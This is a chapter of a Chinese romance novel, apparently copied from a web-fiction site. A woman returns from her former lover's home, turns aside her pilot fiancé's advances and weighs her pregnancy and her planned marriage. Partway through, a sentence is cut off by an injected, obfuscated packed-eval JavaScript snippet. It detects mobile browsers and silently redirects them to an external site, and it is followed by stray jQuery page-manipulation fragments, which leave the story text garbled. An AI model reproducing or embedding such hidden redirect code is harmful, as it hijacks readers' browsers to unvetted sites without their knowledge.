两人从洗手间出来。
刚刚干呕完,谈菀已然没了食欲。
她拿起包准备告辞:“钱季驰,时间不早了,你先吃,我有点累,想早点回家休息。”
“你等一下。”钱季驰依旧不打算放她走,他拽过谈菀朝沙发上坐去。
此刻,屋子的主人真想干什么,客人哪有力气抵抗。
茶几下的药箱里放着支云南白药,钱季驰一手摁住谈菀另一手将药拿了出来。
栗色卷发被全部拨至左侧肩膀,背后的男人继续往下拉了拉T恤,让谈菀露出后脖颈。
按下药瓶喷头,一阵呲呲声,清凉的药剂被喷在了谈菀的后脖颈。
喷完药,钱季驰撸起袖子起手往谈菀的脖颈处揉下去。
食指中指与无名指不断往椎骨上打圈揉按,拇指轻轻的带着向上推。
男人的手指修长却有力度,清凉后,谈菀感受更多的是他小半个手掌的温度。
女性的后颈天生自带一种敏感,不仅掌中温,连带薄茧与掌纹一并感触的清晰。
她和钱季驰高中读的是国际学校,国际学校开设马术课,钱季驰从高一时爱上了骑马,他掌中生茧是长期骑马执缰所致。
但七年后他的掌中茧变得更多了,特别是虎口处与食指间,抚触间如被细密荆条扫过。
谈菀的思绪不受控制的被带到了高中马术课上。
她喜欢和钱季驰一起骑马,习惯后背有他,多少次马术课上,两人会默契的避开同学向远处奔,他们会趁着四下无人之时,偷偷地用热吻与爱抚去抵消高中繁重课业后的疲惫。
你来我往亲密间背景音乐一定是在播黄伟文或者梁伟文。
想到第一次上马,俩人共骑一乘,她紧张害怕,背后的钱季驰环抱住她,在她耳边低语:“别怕,你夹紧。”
夹紧马肚,她听话照做,再握稳缰绳,害怕的感觉消弭大半。
更重要的是背后还有他。
“别动!”钱季驰突然出声,指尖再下三分力道。
“欸!”谈菀被吓的不轻,开小差的思绪抽回,不由得将腿并的更紧了。
不知怎么了,她很想尿尿。
钱季驰顺势换了只手,手法也从刚才的按揉变成了用拇指和食指钳住轻轻的揉捏。
揉捏的动作比之先前要轻,顺着颈椎骨一直向上到耳后还要再向上……
手指不知不觉嵌进了发丝里。
这一套按摩流程是当年钱季驰为了她特意向某个老中医拜师学来的。
虽然对他的按摩手法无比熟悉,但七年后谈菀还是会因为重温这套动作自耳根处向全身起战栗。
她庆幸今天穿的是长袖长裤,胳膊和腿上起的那些小疙瘩不会被人察觉,伪装的很好。
“好了!”正恍惚间,卷发被拨回原位,钱季驰起身抽出湿巾擦手。
湿巾包裹指节,来回摩擦,他略微皱眉,仿佛连人带药一并嫌弃。
“谢谢。”谈菀回神,急急忙忙地整理好衣服。
扔掉纸巾后,钱季驰将茶几上的云南白药递给了谈菀:“这个你带回去,药已经开过封了,留在我这也没什么用。”
“好。”谈菀接了他送来的药。
“明天记得按时上门。”他不看她,只是走到餐桌旁坐下,开始享用晚餐。
欧陆里,谈菀的心跳的很快。
现在不适合开车,她必须让自己冷静下来。
空调再往下降上几度,手指摩挲在云南白药的药瓶上,她回想,刚刚在干呕的时候应该顺势对钱季驰说她怀孕了。
钱季驰的性格她太清楚了,虽然他无比憎恶她,但如果她当着钱季驰的面承认怀孕,钱季驰一定会亲自开车把她送回家,更不会让她留下做辛德瑞拉,这样才是最有利于自己的局面。
好比昨天,车厢里她可以将错就错,大方承认结交梁铭的目的还是想攀上她。
生意上的事她可以心无愧疚的去骗他,但私事,从小到大,她总是对他虔心的诚实。
初中时偷偷躲厕所学抽烟,和班上的小女生搞小团体约架,瞒着她妈妈三更半夜溜出去上网打游戏打到突发结膜炎,她从小到大做的每一件“坏事”钱季驰总是第一个知道。
虽然能为自己找一堆借口,可是只要对面的人是钱季驰,她就没法撒谎。
归家时夜色斑斓。
推开家门,满堂明亮,餐桌上摆着扎起蝴蝶结的99朵蓝色妖姬,花束旁边放着只红蓝相间的LV Bleecker Box 手袋。
浴室里断断续续有水声传出,没等谈菀望过去,浴室的门哗啦一下被推开。
程峻邦从浴室里走了出来:“阿菀,你怎么才回家?我晚上给你打了那么多电话你没接到吗?”
男人刚刚洗过澡,上半身光着,下半身只围一条浴巾,赤着脚,两条腿上挂着浓而密的腿毛。
谈菀将包放下,下意识回避着他的视线:“……晚上有个要紧的会,公司一批打样出了点小毛病,所以手机开勿扰了。”
程峻邦用干发巾搓了搓头发:“我就说嘛,这么晚回来肯定有事儿,我还打算洗完澡就开车去你公司接你。”
扔掉干发巾,程峻邦出其不意的将谈菀抱了起来。
身子腾空,整个人被一层热源包裹,谈菀的心突然被吊到了半空中,她挂在程峻邦身上,为了不掉下去而又不得不圈住程峻邦的脖颈:“程峻邦,你放我下来!”
程峻邦将人抱着转了几个圈后又将人放到餐桌上。
“老婆,沪航FM620好想你!”
程峻邦飞的是国际航线,最近航程紧,通常一飞就是小半月,两人常常聚少离多。
谈菀的额头被印下一个深深的吻,程峻邦将Bleecker Box提到了手里:“阿菀,你上次和我讲麦诗芬收了只Bleecker Box,你没有,这回飞洛杉矶我帮你找了只。”
“和我们乘务长打了招呼,让她帮我留意着点,好在,也不是什么难收的东西。”
谈菀将小巧的糖果盒手包放下,对程峻邦说:“谢谢。”
程峻邦双手箍住她的腰:“程太太不用和程先生讲谢谢。”
“阿菀,以后我们结了婚,你天天对我讲谢谢,我天天对你讲谢谢,那我们一天到晚的对话都在讲谢谢。”
谈菀没忍住,笑出了声。
贴的近了才看清,程峻邦的胸口和脖颈处挂着不少水珠,谈菀顺手抽出纸巾帮他擦拭。
纸巾划过胸膛,程峻邦的大掌将谈菀的整个手都包裹了起来。
温热的掌心轻轻的包揉着谈菀的手背。
“阿菀,肚子饿不饿?吃点宵夜先。”
谈菀摇头,只说:“我在单位吃了披萨。”
“那我去帮你放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076472|178018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水,你先好好的洗个澡。”
“特地一出机场就赶过来,再把自己洗的干干净净,就是想晚上好好的为我们阿菀侍个寝。”
男人的另一只手探近了谈菀的衣衫里,一路摸索着向上,食指停在后背上打着圈:他的声音温柔缱绻:“沪航FM620最近学了一个新姿势,等下上床我先跪下——”
“程峻邦!”谈菀出声打断他,顺便借力从桌子上跳下来,她整理好衣服,说:“今天太晚了,我有点累,只想睡觉。”
邀请被拒绝,程峻邦也只是笑了笑:“好,要累的话,等下我做ASMR电台,给我们家小公主讲睡前故事,哄小公主睡觉。”
贴面讲完,程峻邦低头就要吻,却再一次被谈菀推开。
谈菀下意识的往后退了几步,才说:“峻邦,别亲了,我晚上刚刚吐过。”
这话听得程峻邦皱起了眉毛:“阿菀,你是不是身体不舒服?”
谈菀摸了摸自己的后脖颈,故作轻松的笑了下说:“也不是什么大事,就是颈椎病犯了,老是恶心。”
“病向浅中医,我现在就开车送你去医院。”
谈菀拒绝:“已经配过药了,好晚了,峻邦,我真的只想好好睡个觉。”
看到面带疲惫之色的谈菀,程峻邦只能顺从她的意思。
他将沙发上放着的衬衫拿起穿好,边系扣子边说:“那我先回去了,你好好的睡一觉,如果有哪里不舒服记得第一时间给我打电话。”
“嗯。”
程峻邦走后,谈菀一个人坐在空旷的客厅里吸一只青提味的电子烟。
烟气随着呼吸蒸腾向上。
面前的茶几上,孤零零地放着程峻邦送她的那只Bleecker Box。
当初一时兴起想收只Bleecker Box,可是真的拿在手里也没有什么特殊的感觉。
只不过是橱柜里多了只糖果盒子。
很快,她就要成为名副其实的程太太了。
成事集团小公子的正牌太太,多少外人艳羡的对象。
七年间从北京香港再到上海,从钱季驰到程峻邦,务实的她潜心机敏的计划好自己的每一步。
当初她是把成事集团的财报看了又看才答应下程峻邦的追求。
她计划的很完美,和程峻邦结婚,让成事集团成为‘蜜too’的靠山,然后找猎头去对家公司挖几个高管过来为她经营‘蜜too’,而她自己可以闲下来画画设计稿再专心备孕。
这些年为了生意她烟酒两沾,经常例假不准,能不能自然怀上还不知道,或许到时候得拉着程峻邦去做试管婴儿,十月怀胎,等孩子出世后便一起陪着孩子长大,她的孩子会父母双全,不必似她,从出生时就是私生女。
她会计划家庭旅行,让程峻邦开飞机带他们去任何可以去到的地方。
明明当时程峻邦向她求婚她能情真意切的被感动到落泪,可真走到备婚这一步,又说不上来是哪里不对。
白月光落在地板上,薄薄的,像一层纱,好像你动嘴轻轻吹一下,月纱就会飘起来。
擅长描摹月光的人总是期盼团圆又恐惧团圆。
之所以擅长描摹月光,是因为这七年间她总是孤寂的望向月亮。
谈菀想,对于“程太太”这个身份她只是需要时间去适应。
月光下的她不会总是一个人在幻想。